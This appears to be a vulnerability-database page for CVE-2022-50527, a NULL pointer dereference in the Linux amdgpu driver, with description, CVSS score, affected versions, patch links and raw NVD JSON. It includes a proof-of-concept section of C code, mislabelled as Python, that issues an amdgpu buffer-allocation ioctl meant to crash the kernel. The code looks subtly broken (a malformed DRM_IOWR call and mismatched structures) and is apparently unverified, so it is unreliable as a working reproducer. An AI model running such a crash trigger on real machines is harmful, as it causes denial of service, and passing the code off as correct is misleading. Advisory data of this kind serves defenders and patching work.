Security Vulnerability Report
中文
CVE-2022-50527 CVSS 5.5 MEDIUM

CVE-2022-50527

Published: 2025-10-07 16:15:37
Last Modified: 2026-03-17 16:53:02
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Fix size validation for non-exclusive domains (v4) Fix amdgpu_bo_validate_size() to check whether the TTM domain manager for the requested memory exists, else we get a kernel oops when dereferencing "man". v2: Make the patch standalone, i.e. not dependent on local patches. v3: Preserve old behaviour and just check that the manager pointer is not NULL. v4: Complain if GTT domain requested and it is uninitialized--most likely a bug.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux kernel < 7554886daa31eacc8e7fac9e15bbce67d10b8f1f
Linux kernel < 80546eef216854a7bd47e39e828f04b406c00599
Linux kernel < 8ba7c55e112f4ffd2a95b99be1cb1c891ef08ba1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2022-50527 PoC - Trigger NULL pointer dereference in amdgpu_bo_validate_size() // This PoC demonstrates how to trigger the vulnerability by requesting // a memory domain whose TTM manager is not initialized. #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/amdgpu_drm.h> int main() { int fd; struct drm_amdgpu_bo_alloc_request req = {0}; struct drm_amdgpu_bo_info info = {0}; uint32_t handle; int ret; // Open the AMD GPU device fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open AMD GPU device"); return 1; } // Set up buffer object allocation request req.size = 4096; // 4KB buffer req.alignment = 4096; req.domains = AMDGPU_GEM_DOMAIN_GTT; // Request GTT domain req.domain_flags = 0; // Attempt to allocate buffer object // This may trigger amdgpu_bo_validate_size() with uninitialized TTM manager ret = ioctl(fd, DRM_IOWR(DRM_AMDGPU_BO_ALLOC, &req), &handle); if (ret < 0) { perror("Buffer allocation failed"); } close(fd); return 0; } // Note: Actual exploitation requires specific kernel configuration // where the GTT domain manager is not properly initialized.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50527", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:36.650", "lastModified": "2026-03-17T16:53:02.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Fix size validation for non-exclusive domains (v4)\n\nFix amdgpu_bo_validate_size() to check whether the TTM domain manager for the\nrequested memory exists, else we get a kernel oops when dereferencing \"man\".\n\nv2: Make the patch standalone, i.e. not dependent on local patches.\nv3: Preserve old behaviour and just check that the manager pointer is not\n NULL.\nv4: Complain if GTT domain requested and it is uninitialized--most likely a\n bug."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2", "versionEndExcluding": "6.0.19", "matchCriteriaId": "FE00F7CD-0F38-4685-9E77-7E6B25FBB621"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.5", "matchCriteriaId": "8C1E7766-4310-43F9-BAC4-3763A36C043A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/7554886daa31eacc8e7fac9e15bbce67d10b8f1f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/80546eef216854a7bd47e39e828f04b406c00599", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8ba7c55e112f4ffd2a95b99be1cb1c891ef08ba1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}